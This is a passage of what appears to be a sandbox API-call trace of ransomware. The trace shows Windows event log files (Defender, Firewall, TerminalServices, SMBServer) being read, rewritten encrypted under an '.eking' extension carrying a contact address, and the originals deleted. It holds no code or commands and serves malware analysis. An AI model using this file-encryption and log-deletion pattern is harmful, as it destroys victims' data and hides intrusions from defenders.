lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0227.113] CloseHandle (hObject=0x368) returned 1 [0227.113] CloseHandle (hObject=0x348) returned 1 [0227.120] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0227.121] SetEvent (hEvent=0x2b8) returned 1 [0227.123] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0227.123] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0227.123] CloseHandle (hObject=0x368) returned 1 [0227.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0227.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0227.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.123] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0227.124] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.124] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.124] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0227.124] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0227.128] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0227.130] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x162, lpOverlapped=0x0) returned 1 [0227.130] CloseHandle (hObject=0x368) returned 1 [0227.131] CloseHandle (hObject=0x380) returned 1 [0227.137] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0227.139] SetEvent (hEvent=0x2b8) returned 1 [0227.139] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0227.139] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0227.140] CloseHandle (hObject=0x380) returned 1 [0227.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0227.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0227.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.140] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0227.140] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.140] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.141] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0227.142] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0227.287] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0227.290] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x172, lpOverlapped=0x0) returned 1 [0227.291] CloseHandle (hObject=0x380) returned 1 [0227.291] CloseHandle (hObject=0x368) returned 1 [0227.295] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0227.299] SetEvent (hEvent=0x2b8) returned 1 [0227.299] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0227.300] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0227.300] CloseHandle (hObject=0x368) returned 1 [0227.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0227.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0227.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.300] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0227.301] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.306] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.306] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0227.306] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0227.354] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0227.357] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0227.357] CloseHandle (hObject=0x368) returned 1 [0227.357] CloseHandle (hObject=0x380) returned 1 [0227.547] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0227.549] SetEvent (hEvent=0x2b8) returned 1 [0227.550] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0227.551] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0227.551] CloseHandle (hObject=0x348) returned 1 [0227.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0227.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0227.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.551] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0227.551] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.551] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.552] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0227.552] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0227.819] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0227.824] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0227.825] CloseHandle (hObject=0x348) returned 1 [0227.825] CloseHandle (hObject=0x380) returned 1 [0227.833] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0227.836] SetEvent (hEvent=0x2b8) returned 1 [0227.836] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0227.837] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0227.837] CloseHandle (hObject=0x380) returned 1 [0227.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0227.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0227.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.837] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0227.838] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.840] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.840] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0227.840] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0227.875] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0227.878] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0227.878] CloseHandle (hObject=0x380) returned 1 [0227.878] CloseHandle (hObject=0x348) returned 1 [0227.888] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0227.890] SetEvent (hEvent=0x2b8) returned 1 [0227.894] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0228.168] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0228.168] CloseHandle (hObject=0x364) returned 1 [0228.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0228.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0228.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0228.169] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0228.169] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0228.169] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0228.169] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0228.170] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0228.174] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0228.177] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x182, lpOverlapped=0x0) returned 1 [0228.178] CloseHandle (hObject=0x364) returned 1 [0228.178] CloseHandle (hObject=0x374) returned 1 [0228.184] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0228.185] SetEvent (hEvent=0x2b8) returned 1 [0228.186] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0228.186] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0228.186] CloseHandle (hObject=0x374) returned 1 [0228.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0228.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0228.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0228.187] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0228.187] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0228.187] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0228.187] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x364 [0228.189] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0228.193] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0228.196] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x152, lpOverlapped=0x0) returned 1 [0228.196] CloseHandle (hObject=0x374) returned 1 [0228.196] CloseHandle (hObject=0x364) returned 1 [0228.201] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0228.203] SetEvent (hEvent=0x2b8) returned 1 [0228.203] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0228.204] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0228.204] CloseHandle (hObject=0x364) returned 1 [0228.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0228.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0228.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: 